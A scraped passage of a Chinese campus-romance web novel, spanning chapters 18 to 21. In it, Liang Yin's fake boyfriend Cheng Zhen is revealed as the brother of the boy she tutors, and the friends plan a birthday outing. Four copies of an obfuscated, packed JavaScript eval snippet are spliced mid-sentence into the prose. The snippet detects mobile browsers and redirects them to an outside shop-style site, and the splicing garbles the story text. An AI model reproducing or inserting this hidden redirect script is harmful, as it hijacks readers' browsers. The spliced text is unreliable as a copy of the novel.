她没开口，程臻便自顾自地整理，准备点下一页ppt，很随意地转头看了梁因一眼——然后看见女孩皱着脸盯着自己的iPad屏幕，神情宛如在阅读天书。 他唇角溢出一声轻笑，被梁因捕捉到，略有些茫然地抬眸看向程臻。 “哪里看不懂？”程臻小声问她。 他的语气里毫无居高临下的意味，似乎只要梁因说出一处，他便会停下来给她仔细讲解。 “……哪里都看不太懂。”梁因同样用气声回答，摇了摇头，俨然失去了对金融学课件的兴趣，“我高考之后就再也没碰过数学了。” 梁因她没打算再打扰程臻，满足了好奇心后便从满屏的文字数字图表上收回目光，慢吞吞打了个哈欠。 撑着脸颊听了会儿课，梁因开始有点儿犯困，趴在桌上玩了会儿手机，又坐直看了会儿书写了一页题，两节课的时间很快过去。 今天陆子恒倒算消停，下课之后在教室外面的走廊上刚好撞见梁因和程臻，他并没说什么，只投过来一个意味深长的眼神，随即从他们身边走过。 梁因听见了陆子恒轻飘飘地哼了一声，没来得及皱眉，下一秒他走过身边时，只觉得肩膀被一股力道撞了一下，伸手抓住了什么东西才站稳。 “诶——” “没事儿吧？” 梁因再一回头，陆子恒已经走出去一段距离了，她收回目光才发现自己抓着的是程臻的手臂，连忙松了手。 “我没事，不好意思啊。” “没事儿就行。”程臻点了点头，皱起的眉头松开，抬眸淡淡瞥了一眼，又很快收回视线，“走吧，不用搭理他。” - “所以，你找了这个假男朋友来对付陆子恒，效果还挺不错？”赵新艺趴在椅背上啃着手里的苹果，下一秒又转头看向站在衣柜前犹豫的周静雨，替他她了选择，“穿左边这件吧，好看。” 梁因只有在周一和周四的选修课才会见到陆子恒，其他时间他并没有再来宿舍找她，也都没有给她发微信消息，梁因乐得清净。 “嗯，挺好的。”梁因弯着腰换运动鞋，“程臻挺靠谱的，给他五星好评。” “那就好。”丁玥捧着脸颊看梁因，顿了顿忽然笑了，“所以咱们就是说，这位长得也挺帅，听起来人也不错，那么有没有一种可能，可以把假的变成真的呢？” “什么啊——”梁因愣了愣，随即笑了起来，“期待我还不如期待一下小雨，这不是都已经在准备去约会了吗？” “什么约会，明明是社团活动！”忽然被提到名字的周静雨连忙站直，抬手扶了一下眼镜，“又不是只有我们两个人……” “好啦好啦，是社团活动。”赵新艺笑眯眯的，“不过那位社长同学到底行不行啊，什么时候才能把我们小雨单独约出去一回啊？” 大家你一言我一语地八卦了一番，周静雨脸皮薄，红着脸挽着梁因的胳膊出了门，说什么再磨蹭就要迟到了，又收获了一阵起哄声。 从梁因的视角看，要周静雨主动几乎是不太可能的，而沈铭川又是很温和求稳的性子，两人倒是相配，只是发展进度推进得实在慢了些。 两人聊着天很快到了场馆，出乎梁因的意料，一见她们便热情招手打招呼的人是……林砚。 他似乎是冲着梁因来的，简单跟周静雨打了个招呼随即转向梁因：“不好意思啊，上周不小心拿错了你的眼镜。” “哦，没事儿。”梁因笑着摆了摆手，“就普通黑框，确认很容易拿错。” “所以，后来橙子拿给你了对吧？” 梁因点了点头。 林砚清了清嗓子看着梁因：“那个，你们俩……挺熟啊？” 梁因眨眨眼睛，对上林砚一副话里有话的样子，这会儿算是明白过来为什么他过来跟自己搭话了，勾唇笑起来：“你要是有什么想问的，直接问就好了。” 林砚一挑眉，笑着重重点了点头：“爽快，也就是你这样的才能撬开橙子那种闷葫芦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14336098|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁因笑了笑，没接话，等着他的问题。 “那我就真问啦？” 梁因大大方方点点头：“嗯。” “你们俩……是不是在一起啦？”林砚仔细观察着梁因的表情，“要是我说错你就当我没说啊！我是听说他好像有女朋友了，但是想来想去他身边也没有别的女生，又不是那种爱多管闲事的性格——” “林砚。” 说曹操曹操到，程臻的声音自身后响起，正在说话的两人同时回头，见话题的另一位主人公站定在他们面前，微微一偏头：“聊什么呢？” “没什么，就……随便聊会儿天嘛。”林砚眨眨眼睛，瞥了梁因一眼。 梁因不是很确定“默认是他女朋友”这件事的范围包不包括面对林砚的情况，于是把问题丢给了程臻：“他问我，我们是不是在一起了。” 程臻一挑眉。 林砚不知道从哪儿听来的八卦，只是他不认识陆子恒，不像自己的室友那样知道陆子恒之前的那些破事，他又是爱刨根问底的性子，要是告诉他事实，那势必得解释清楚整件事情的来龙去脉——然而程臻又不好大肆宣扬跟梁因有关的事情，权衡一番，若有所思地抬眸看她。 梁因把他这一眼理解为需要自己帮忙的意思，于是很干脆地点了点头，表示收到。 程臻勾唇笑了笑，把目光转向了林砚：“我们在一起还要先跟你报备是不是？” “你俩真的啊！”林砚没理会程臻这句玩笑，目光兴奋地在两人之间来回，“可以啊橙子，真不容易，老铁树说开花就开花啊！” 程臻：“……” 梁因没忍住笑出了声，连忙清了清嗓子偏开头，看墙看地看鞋。 而林砚则兴冲冲地开始了第二轮八卦：“快讲讲，你们什么时候开始的啊？” 这话问的是程臻，梁因笑完了抬起头，却接收到了他看过来的目光，眼神里藏着话。 ——我们什么时候开始的比较合适？ ——啊？我也不知道啊…… ——那我就随便说了？ ——行。 几秒钟纯靠猜测的无声眼神交流结束，梁因抿唇垂下眼，听见程臻给出了一个模棱两可的答案：“没多久，就前两周吧。” 林砚还想继续追问，程臻忽然抬手招了招，见到了救星似的：“陶莹，快来把你的人领走。” 一听见女朋友的名字，林砚的注意力就被吸引走了，笑嘻嘻跟他们打了个招呼便转身走了。 梁因听见身侧的人松了口气，随即开口了：“要去找你室友吗？” “嗯……”梁因伸长脖子张望了一番，看见周静雨在和沈铭川说话，并不想去当扫兴的电灯泡，于是摇了摇头，收回目光看向程臻，“先不了吧。” 不过一个人待着没什么意思，梁因看着程臻，若有所思地眨了眨眼睛，又道：“你要练吗？我能看会儿吗？” 程臻有些意外地挑眉，随即还是点了点头，朝她微微偏头示意：“当然可以啊，走吧。” 19. Chapter 19 梁因一共就没来过箭馆几次，程臻带她去的箭道在另一个方向，她平时不来，此刻趁着程臻去拿弓的功夫遥遥看了一眼靶子，顿时有些咋舌—— 这个距离远超她之前所在的新手村，而她出现在这儿，看上去根本就是个误入高级区的迷茫菜鸟。 程臻回来的时候看到的便是这样的场景，没忍住轻笑了一声，走近了些后抬手在梁因耳边几十公分的地方打了个响指，看她睁大了眼睛转过头来。 “站着干什么？”他一偏头，“这儿有椅子，坐会儿吧。” 梁因的目光则下落到程臻身上，停顿两秒之后又抬眼跟他对视：“你就……这样？” 程臻低头看了自己一眼：“我就怎样？” “你不戴护具吗？” 程臻在她面前摊开右手，展示了一下护指：“这不是戴了吗？” 梁因在他身前半空中比划了一下：“那其他的呢？” “啊。”程臻明白她的意思了，抬手竖起食指放在嘴唇前，“嘘。” 梁因：“……？” 程臻对上她茫然的眼神，笑了笑：“你假装没看见，不要学我。” “为什么？” “你是新手，本来就容易因为姿势不当受伤，不戴护具就更容易了。”程臻站上箭道，慢条斯理从箭桶里抽出一根卡上弦，随即又抬眼看向梁因，“我就随便玩两组，偷个懒。” 不远处就有可供休息的长椅，梁因后退了几步坐下，看程臻随意地拉弓，随意地瞄准，随意地松手——靶子有点儿太远了，具体的环数看不清。 “没有什么放大镜摄像头之类的吗？”等到程臻射出去三支箭，梁因才终于忍不住问道，“这么远的靶子，得过去拔箭的时候才知道成绩吗？” “哦，有显示屏的话就能看清。”程臻抬手指了指天花板的某一处位置，“一般如果有的话，大概就放在这儿。” “那为什么不放？” 程臻闻言，举起弓的手又放了下来，似乎是想起了什么，弯唇笑了起来：“因为穷。” “箭协的经费有限，我们社长精打细算，说钱要花在刀刃上。”程臻一边说着，一边又搭弓射出去一箭，“所以大部分的钱都花在设备上了。” 梁因于是忍不住垂眼去看程臻手里的那一把弓，整体的主色调是黑色，而弓把是渐变陶瓷漆，从黑色渐渐过渡到相当有质感的蓝紫色，流畅又漂亮，像深海，也宇宙中的某个星云。 “这把是我自己的。”程臻抬眸观察梁因的表情，“想试试吗？” 梁因虽然对价格没什么概念，但肉眼也能看出来，程臻手里的这把弓显然不会便宜，她犹豫了一会儿，看他：“我可以吗？” “不一定，我这把有点沉。”程臻把弓递过去，“你先拿拿看。” 已经打过了预防针，梁因双手接过的时候还是被超乎预料的重量惊了一下——她换成一只手在手里掂了一下，估计自己都未必能拉开，决定还是安安分分做个菜鸟。 “算了，我不行。”梁因把弓还了回去，见它被程臻稳稳握住才松了口气，回到了最适合她的位置，去旁边的椅子上坐着围观。 手机屏幕亮了亮，梁因垂眼解锁后点开消息，是周静雨发的，问她在哪。 还不等梁因打完字回复，那边又发来一条，说已经看到她了。 梁因回头，便见周静雨往她这边走过来：“你怎么跑到这儿——” 话还没说完，她余光瞥见站在箭道上转过来的程臻，自然也明白过来梁因为什么会出现在这里，对上他看过来的目光，礼貌地点点头算打了招呼。 周静雨一坐下便挽住了梁因的手臂，瞥了程臻一眼，才放轻了声音开口道：“因因，沈铭川他们是不是都以为你跟程臻真的在一起了啊？” “都？” 周静雨点点头：“林砚说的。” 也是，按照林砚的性格，知道了了什么就等于所有人都知道了，更何况是“铁树开花”这种喜事。 梁因缓缓吐一口气，也转头看了一眼程臻，随即点点头应道：“那就应该是的。” 两个女生坐在长椅上说话，程臻本不会过分在意，只是不难察觉到两人频频转头看他，看样子仿佛是在明目张胆说他坏话似的。 某一次刚好和朝他看过来的梁因对视，后者完全没有被抓包的自觉，反倒冲他扬起了一个露齿的笑。 看来不是坏话——程臻心道，微一挑眉便收回了目光。 - 从周五开始便是国庆假期，周四请假提前回家的学生并不少，于是来上选修课的学生目测少了将近三分之一，陆子恒也在请假的这部分之列。 梁因和程臻照常坐在后三排，坐在他们前排的两个女生脑袋凑在一起看立起来的iPad，小声却难掩兴奋地讨论假期要去哪里玩。 “你国庆应该要回家的吧？”梁因趁着课间跟程臻聊天。 “嗯。”程臻点点头，“你呢？” 从上周开始程钧就已经反复跟他确认他会回家，得到了他再三保证，程钧才放下心来。 “我回的，但是有点事情，再过两天。” 程臻点点头，没追问她是什么事情，两人有一句没一句地聊了一会儿天，上课铃声响起。 陪梁因上完这节选修课之后，程臻便结束了周四的课程，不过为了防止梁因以为自己是因为她才推迟了回家的时间而感到愧疚，他告诉梁因自己也还有点事，要明天才回家。 程臻到家的时候已经将近中午，程钧早就翘首以盼，每回都是第一个来门口迎接他的人。 “哥哥！” 钟娴笑着让程钧别闹哥哥，又招呼程臻赶紧洗手吃饭。 程钧在饭桌上并不安分，捧着碗一边吃一边东张西望，程臻给他夹了个鸡翅：“有话就说。” 程钧嘿嘿笑一声，收回目光看一眼爸爸妈妈的表情，说自己想去新开业的游乐园玩。 “明天哥哥带我去嘛，好不好？”说到这儿程钧的眼神转到了程臻身上，眨了眨眼睛一脸期待。 程臻刚想点头答应，却见程之毅摇了摇头，表情严肃，开口的语气却温和：“明天不行，还记不记得妈妈之前跟你商量过的，要请老师到家里来给你补课？” “……哦。”程钧闷闷不乐地应了一声，虽然不太高兴，但这是他之前答应过钟娴的，便也没再坚持要出去玩。 程臻看他：“那过两天哥哥再带你去，好不好？” 闻言，程钧一下子抬起头，眼睛亮了：“真的吗！” “真的。”程臻点点头，“明天乖乖上课，这两天乖乖写作业。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347392|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好！” 有了程臻的承诺，程钧便高兴了，这两天倒是真的在房间里认认真真写作业。 第二天一早程之毅便出门去公司了，钟娴在家和两个儿子一起吃了午饭，又陪着程钧看完了一集动画片，便关了电视让他回房间准备准备，说再过一会儿试课的家教老师就要到了。 吃过饭之后，程臻便回到了自己的房间打游戏，杯子里的水喝完了，他下楼打算去冰箱拿饮料，却见正站在客厅打电话的钟娴回过头，朝还在楼梯上的程臻招了招手。 “行，我知道了，那我现在过来吧。”钟娴皱着眉头挂断电话，随即快步走近程臻。 “怎么了？” “小程，公司忽然有个情况要妈妈去处理一下，家里要拜托你一下。”钟娴说道，“小钧的家教老师约好的是一点半到，一会儿你帮我招待一下，上课的时候也稍微旁听一会儿，看看她教得怎么样。” 程臻看了一眼时间，已经一点二十了，点点头答应下来：“行。” “麻烦你了，那妈妈就去换衣服了啊。”钟娴有些抱歉地拍拍程臻的手臂，快步往房间去了。 这种事情完全谈不上“麻烦”二字，程臻转头看了两秒钟娴的背影，随即垂下眼，走到客厅在沙发上坐了下来。 只是他才刚坐下没两分钟，门铃就响了起来，想必是那位家教老师提前了几分钟到，程臻于是起身走过去开门，却全然没想到在可视门禁上看见了一张熟悉的面孔。 他一愣，手上则已经打开了花园外的铁门，好一会儿他才回过神打开了大门，刚好和穿过花园的来人对上视线。 “……程臻？” 梁因同样也完全没想到就在这里见到程臻，睁大了眼睛，四目相对怔愣了片刻，后退一步试图确认自己没有走错目的地：“这是11号对吧？阿姨是姓钟对吗？” “对，没错。”程臻比她先反应过来，点点头，垂眼看了看她带在身侧的行李箱。 “所以，”梁因终于慢半拍地消化了眼前的情况，“我一会儿要教的学生是你弟弟？” 程臻勾唇笑了笑，点了点头：“看起来好像是的。” “是不是小梁老师已经到啦？”换完衣服的钟娴很快下楼，笑着迎了上来，满是歉意地跟她打招呼，“快进来吧。” 梁因于是把视线从程臻身上收回来，礼貌地跟钟娴说话：“钟阿姨，不好意思啊，因为我一会儿就打算去高铁站回家了，刚好顺路我就把行李箱带上了，能方便在门口放一下吗？” “当然方便呀。”钟娴点点头，刚想让程臻去帮人把行李箱拿进来，后者已经把小箱子靠墙放好了。 “小梁老师，抱歉啊，我临时有点事情要出去一下。”钟娴给她介绍程臻，“这是我的大儿子，情况他都知道的，你要是有什么事情找他就好了。” 梁因善解人意地连忙点头：“好的，没问题，钟阿姨你去忙吧。” “真是不好意思啊。”钟娴说完又转头看了一眼程臻，见后者点了点头，于是便放心地出门走了。 门被关上，玄关只剩下相对而立的梁因和程臻两人，对视几秒，因为这个巧合齐齐轻笑起来。 “好了，别站在门口了，进来吧。”程臻侧过身让出一条路，冲她偏头示意了一下，“小梁老师。” 20. Chapter 20 之前和钟娴联系的时候，梁因只了解了学生的年纪和学习上基本情况，并没有多问个人信息，全然没想到世界竟然这么小，她试课的学生居然会是程臻的弟弟。 等梁因换好了拖鞋，程臻便带她上楼去程钧的房间。 梁因跟在他身后两步的距离，目光落在程臻身上——他在家的穿衣风格也依旧贯彻了在外的黑白灰色调，身上是成套的黑白色家居服，上衣的配色看起来有点像熊猫。 程臻在一扇关着的房门前停下脚步，抬手轻轻敲了敲门。 “小钧，老师来了。” 门内传来一阵脚步声，随即门被打开，小男孩抬眼看等在门外的人，目光从程臻身上掠过，看到梁因时明显一愣，随即眼睛亮了亮。 “你是那天那个漂亮的姐姐！” 程钧的风格跟程臻完全不一样，他身上的蓝白家居服上印着卡通图案，甚至脚上的拖鞋都是奥特曼的——梁因眨了眨眼睛对上程钧的视线，笑了。 “你还记得我呀？” 程钧用力点了点头，又看看程臻：“姐姐就是我的新老师吗！” “对。”程臻应了一声，又补充，“叫老师，小梁老师。” “好耶！小梁老师好！” 程钧很高兴，乖乖地叫了人，程臻揉了揉他的脑袋：“好了，把说好要做完的卷子拿出来给小梁老师看看。” 小男孩点点头回到了书桌边，又想起什么，给梁因拖了把椅子过来，示意她坐。 程臻站在门口，抬眼问梁因：“喝什么饮料？” 她还没来得及开口，程钧抢先回过头举手抢答：“可乐！” “不行，昨天已经喝了一瓶了。”程臻毫不留情地拒绝，给了另一个方案，“要不要喝橙汁？” 程钧思索了两秒，勉强点头：“好吧。” “橙汁可以吗？”程臻转向梁因，后者点了点头。 “好。”程臻转身准备下楼去拿，刚走出房间两步又想起什么，遂折返问梁因，“能喝冰的吗？” 梁因从程钧的试卷上抬眼，点点头：“啊，可以，谢谢。” 简单扫了一眼程钧的试卷，梁因在心里更加深了对他的判断，跟钟娴描述得出入不大，小男孩心思不定，容易走神粗心，不愿意多花时间记忆背诵，而英语又是格外需要积累的科目，因此成绩才不怎么好看。 “介意我旁听一会儿吗？”程臻把两杯橙汁放到了桌上，看梁因。 “当然可以啊。”梁因笑着点点头。 “那我就坐这儿，行不行？”程臻巡视了一圈房间，指着床边角落的一张懒人沙发，征求程钧的意见。 程钧回头看一眼，应了声好。 “行，你们开始吧，不用管我。”程臻应了一声，又去楼下冰箱拿了瓶饮料，顺路去自己房间拿上手机，回到程钧房间时梁因已经开始讲了，于是轻手轻脚地在懒人沙发上坐了下来。 一边戴着一只耳机玩消磨时间不用动脑子的小游戏，程臻一边听梁因给程钧讲课。 她拿着卷子跟程钧聊天，三言两语就问出了程钧平时上课写作业的种种习惯，并结合他的成绩和试卷上体现出来的问题分析给他听。 再然后是一道一道题慢慢讲，梁因会从题目本身再适当地延展一些相关词汇和简单的语法点，时不时地还夹杂着让程钧记笔记的提醒——程臻抬眼，看见她用笔轻轻点了两下桌子。 说好的课程时间一共是两个小时，中途放程钧去休息了五分钟，梁因拖了会儿堂，下课时程钧已然不像刚见到梁因时的兴奋，伸了个大大的懒腰，往后没骨头似的一躺。 梁因起身：“好了，我就先走啦。” 课上到一半的时候程臻就没在房间待着了，这会儿又出现在门口：“你是不是要去高铁站？几点的车？我送你。” “不用不用，我自己打——”梁因转头看到了靠在门口的程臻，话一顿。 他身上穿的已经不是家居服了，换上了出门穿的休闲裤和T恤，正抱着胳膊倚在门边。 “几点的车？”他问。 “四点五十。” 程臻看了眼时间，现在还不到四点，点了点头：“小钧，想不想吃泡芙？” 仿佛被英语抽走了灵魂似的程钧闻言，陡然坐直：“想！” “那我们一块儿送小梁老师去高铁站，然后去买泡芙，好不好？” “好！” 程臻点了点头，抬手打了个响指：“那就这样，给你五分钟换衣服，过时不候。” 他话音才落，程钧立刻从椅子上弹了起来，踩着拖鞋往衣柜去了。 兄弟俩的一唱一和把梁因听笑了，转头对上程臻的目光，后者冲她偏了偏头示意：“走吧，我帮你拿行李箱。” 说是五分钟过时不候，可实际上程臻已经把车从车库里开了出来，又把梁因的行李箱放进了后备箱，坐进车里等了好一会儿，还不见程钧人影。 “其实小钧挺聪明的，反应快也能举一反三，就是可能心思没全花在学习上，又有点儿粗心着急，会有一些低级错误。”梁因坐在后排，闲聊似的问程臻，“你平时会辅导他的作业吗？” 程臻和梁因一样大，甚至还是同一所大学，家里有一个现成的高材生哥哥，梁因其实不是太明白为什么钟娴还要花钱给程钧请家教。 “偶尔。”程臻一只手握着方向盘，从梁因的角度看不见他的表情，“我平时也不是每周都回家，不太好固定时间。” 啊，对——梁因想起来了，第一次程臻接程钧回家，顺路送她去学校的时候，她好像确实听程钧提起过。 下一秒由远及近传来一阵奔跑的脚步声，程钧姗姗来迟，一溜烟钻进后座。 “门关好了？”程臻也没说什么，只是转头看他。 程钧点头：“都关好了！” 程臻应了一声，收回目光，缓缓发动了车子。 如果车子上还坐着钟娴或者程之毅，想必会趁着这会儿功夫再多聊几句关于程钧学习上的话题，但程臻不会，梁因当然也不会主动提。 于是车厢里气氛轻松，只有程臻播放的歌单的声音。 拿在手里的手机忽然亮了好几下，梁因垂眼解锁，是妈妈给她发的消息，一连好几张图片全是好吃的，一桌备好的菜都是她爱吃的，还有大闸蟹和水果饮料，一看就是准备好了等她回家的架势。 梁因笑了，回复一串流口水星星眼和亲亲的表情。 和妈妈聊了一会儿，报备了自己正在去高铁站的路上，梁因随即打了个哈欠，向后靠着看窗外。 程臻开车很稳，到达高铁站只花了半个小时左右，时间宽裕，他把车停在进站口的下客区，叮嘱程钧乖乖坐好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369324|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，下车帮梁因把行李箱拿了下来。 “谢谢你啊。”活儿都被程臻干了，梁因下了车之后就在一旁干站着，这会儿连忙从他手里接过了箱子，道了声谢。 “不客气。”程臻刚说完，后排车窗缓缓降下一半，露出了程钧的半颗脑袋，随即伸出了手，朝梁因挥了挥。 “姐姐再见！” “再见。”梁因笑眯眯地跟程钧挥挥手，然后抬眼看站在后备箱旁的程臻，“那我就走啦，假期之后见。” “嗯，拜拜。”程臻点点头，又勾起唇角笑了笑，看着梁因拖着行李箱往进站口走，随即收回了视线，走到驾驶座旁开门坐了进去。 - 梁因家所在的城市并不算远，高铁只需要一个半小时。算好时间在车上看完了一部电影，梁因伸了个懒腰收好东西，拖着行李下车，顺着人流走到了出站口，一眼便看见她家梁先生和施女士正在人群中翘首以盼。 “我回来啦！”梁因拖着行李箱加快脚步小跑过去，笑嘻嘻地来到两人身边。 “哎呀，我们宝宝终于回家了。”施婉怡笑眯眯地拉着梁因的手上下打量一番，眼神示意身旁的男人赶紧接过女儿的行李箱。 “你妈妈在家总念叨你什么时候回来呢，特地去买了大闸蟹回来，还发照片给你看。”梁谦笑眯眯地照做，看向梁因，“馋了吧？” 梁因忙不迭点头，没骨头似的挽着施婉怡的手臂，几乎是贴在妈妈身上走路：“饿得我都走不动路了！” “什么样子。”施婉怡说了梁因一句，脸上却仍旧是笑着的，也没有要推开的意思，反倒把女儿挽得更紧，“就知道你想吃！” “对了，因因啊。”梁谦想起什么，“你今天下午不是去新的人家试课了吗？觉得怎么样啊？” 梁因一挑眉，闻言脑海中又浮现出门一打开便看见程臻的样子。 “应该还好吧。”梁因顿了顿，“小朋友的家长还没给我反馈呢。” “要我说啊，上一家那个小姑娘搬家了正好，你就不要再接别的学生了，大周末的在寝室休息休息，或者跟同学出去逛一逛玩一玩，都很好呀。”施婉怡有些不赞同地轻叹一口气，“家里又不是要靠你赚钱养着，干嘛要这么辛苦呀？” 梁谦也表示赞同，关切道：“你妈妈说得对，是不是生活费不够花啊？要是不够的话，之后爸爸再多给你打一点。” “没有，我钱都花的，而且也不辛苦啊，一周就两个小时，算上来回路程顶多也就三个小时多一点。”梁因报了个数，“现在的家长为了小朋友的学习，都特别大方的，我赚外快呢。” 施婉怡被梁因的财迷样逗乐了：“爸爸妈妈是少你这几百块钱啦？” “那倒也没有，不过这是我自己挣来的，意义不一样。”梁因凑过去贴了贴施婉怡的头，“不过生活费的话，确实多多益善。” 梁因这话把两人逗乐了，一家三口笑着坐上了车，梁因和施婉怡坐进后排，从口袋里摸出手机看了一眼时间，结果看见微信好几条未读消息。 周静雨：【！！！】 周静雨：【因因】 周静雨：【刚才沈铭川给我发消息了，说十一之后他过生日，打算组个局，问我要不要一起去玩】 周静雨：【图片】 最后是一张截图，是她和沈铭川的聊天记录。 21. Chapter 21 周静雨从小到大都是很内向温吞的性格，甚至可以算得上有些“无趣”——她做什么事情都是被动的多，也没什么特别的兴趣爱好，闲来无事就喜欢窝在家里读书，不过也或许正因此，她的成绩一直都不错。 直到后知后觉意识到自己喜欢上了谁，周静雨做出的最大努力便是拉上活泼外向的室友，一起去报名参加了她并不擅长，甚至从未接触过的体育类社团。 然后……她的勇气到这里就全部用完了。 之后周静雨和沈铭川的关系便不温不火地持续着，说暧昧可能也还谈不上，但要说是普通朋友，好像也不仅仅只是这样。 手机连续振动，周静雨点开，是梁因回复她的消息。 梁因：【！！！】 梁因：【终于！！！】 梁因：【那你答应了吗！！！】 每条消息后面都跟着三个感叹号，周静雨仿佛能看见梁因在自己面前星星眼的样子。 周静雨：【答应啦/害羞】 梁因给她发了三个大拇指的表情，又跟了一个嘿嘿笑的表情包。 周静雨：【……怪紧张的】 梁因：【你紧张什么！！！】 梁因：【这不就表示他对你有意思！！！】 梁因：【大进展啊小雨同学！！！】 看着梁因的消息一条一条往外蹦，周静雨抿了抿唇，按了个小兔趴桌的表情过去，随即慢慢打字：【要是你跟我一起去就好了】 梁因：【人家又没有邀请我～】 梁因：【好啦，他对你有意思，就不会让你觉得不自在的，安啦】 周静雨被梁因的话说服了，想了想，又犹豫着打字：【那因因你说，我是不是应该准备一份礼物给他啊？】 梁因秒回：【那当然啦！】 周静雨微一皱眉：【可是我不知道送他什么比较合适…】 梁因给她出主意：【投其所好？看看他朋友圈？】 周静雨：【有道理，我研究研究】 对面又弹出来一条消息，是小兔子挥舞着啦啦球的加油表情包。 梁因随即又往上翻了翻，笑眯眯地看了一遍对话，乐呵的样子引得身旁的施婉怡频频侧目观察她。 “跟谁聊天呀？这么开心？”施婉怡远远瞥了一眼梁因的手机屏幕，像是微信聊天界面，具体的她没凑过去看。 “跟我室友。”梁因按下手机锁屏随意地放在腿上，转头冲施婉怡露出一个笑，“有好事儿发生呢。” 见她把手机放了，施婉怡才聊天似的问起梁因新学期开学之后的情况。 相比兵荒马乱的大一，大二开学之后，大家对学校都已经熟悉了许多，也有了更多探索的时间和精力，梁因便从其中挑了些有意思的事儿跟爸爸妈妈分享。 严格来说梁因也算报喜不报忧的类型，不过实际上她没什么“忧”可报，非要说的话也就只有遇上了陆子恒这件糟心事儿——不过眼下看起来快顺利解决了，那么不提也罢。 回到家的时候刚好是饭点，梁因满心满眼都是美食，手机被随意地丢在了沙发上，屏幕向下倒扣着。 吃饱喝足后，梁因相当自觉地厨房帮忙，却被梁谦拦了下来，说让她去沙发上坐着，顺便拿洗好的葡萄去吃。 “现在吃不下啦。”梁因展示了一下自己吃得圆滚滚的肚子，笑嘻嘻地逗留在厨房门口跟爸妈聊天。 等到她拿起手机的时候已经是将近半个小时之后了，除了几条软件推送之外，微信上也有好几条未读消息，其中有一条来自程臻，问她十一号有没有时间。 十一号？ 梁因翻了翻日历，那天是个周五，看起来并没有什么特别的。 梁因：【我上午有课，下午之后应该有空的，怎么啦？】 估计是手机就在手边，程臻回得很快，是一条语音。 “十一号沈铭川生日，他打算组个局，约朋友一块儿出去玩儿，因为你现在的人设是我女朋友，所以他让我问你一声，要不要一块儿来。”程臻停了停，“除了他室友之外，其他人你都认识，对了，他还请了你那个室友。” 语音条结束，几秒后，聊天框又跳出来一行文字。 程臻：【愿不愿意来都行，看你自己的想法】 梁因轻轻咬了咬下唇，盯着手机屏幕看了一会儿，没有立刻回复。 她跟沈铭川只是点头之交，连联系方式都没加，关系完全不至于到去参加他生日会的程度——不过她既是周静雨的室友，也是程臻的“女朋友”，沈铭川托他邀请自己倒也合理。 虽然看起来沈铭川和周静雨对彼此都有那么点儿意思，梁因琢磨了片刻，但说不定什么时候就需要她再推一把。 哦，比如现在就是个助攻的机会。 梁因跟父母打了声招呼，随即回到了自己的房间，打开灯在桌边坐了下来。 梁因：【好呀，我去】 梁因：【对了，你们男生都喜欢什么样的生日礼物呀？】 程臻正在输入了一会儿，发来两条消息。 程臻：【送沈铭川？】 程臻：【你不用，算我身上就行】 梁因一心想帮周静雨刺探军情：【嗯？那你送什么呀？】 她盯着屏幕，聊天界面里安静了一会儿，几秒后对面弹出来一个小气泡，只有一个字。 程臻：【钱】 梁因以为自己看错了：【？】 程臻没有再打字，而是又发来一条语音，房间里只有梁因一个人，她便开了公放。 “这是林砚想出来的。”程臻说话时慢条斯理的，声音里带了点笑，“他跟沈铭川不是室友吗，这是他们大一就开始的传统，彼此过生日的之后都不送礼物，其余人集资买一板刮刮乐送给寿星，至于能中多少……纯靠天意。” 梁因被这个清新脱俗的送礼方式逗笑了，打字回复：【所以你也？】 程臻：【嗯，入乡随俗，我也陪一个】 梁因犹豫了一会儿，她倒也是可以跟周静雨说，然后她们两个也参与进去，只是这个“礼物”完全体现不出任何送礼人的特殊心意，想想还是作罢。 程臻：【你不用，到时候吃饭估计也是其他人A账单，你意思意思就行】 她可以意思意思就行，但周静雨可不行—— 既然花了钱送礼物，那必然不能随便送，贵不贵重倒是无所谓，肯定得选那种日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376388|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的会频繁被看见或者使用的，要让他时时刻刻能想到送礼人才可以！ 梁因回了程臻一个“好”，随即左滑退出，点开了周静雨的对话框，把自己和程臻的对话简单跟她说了。 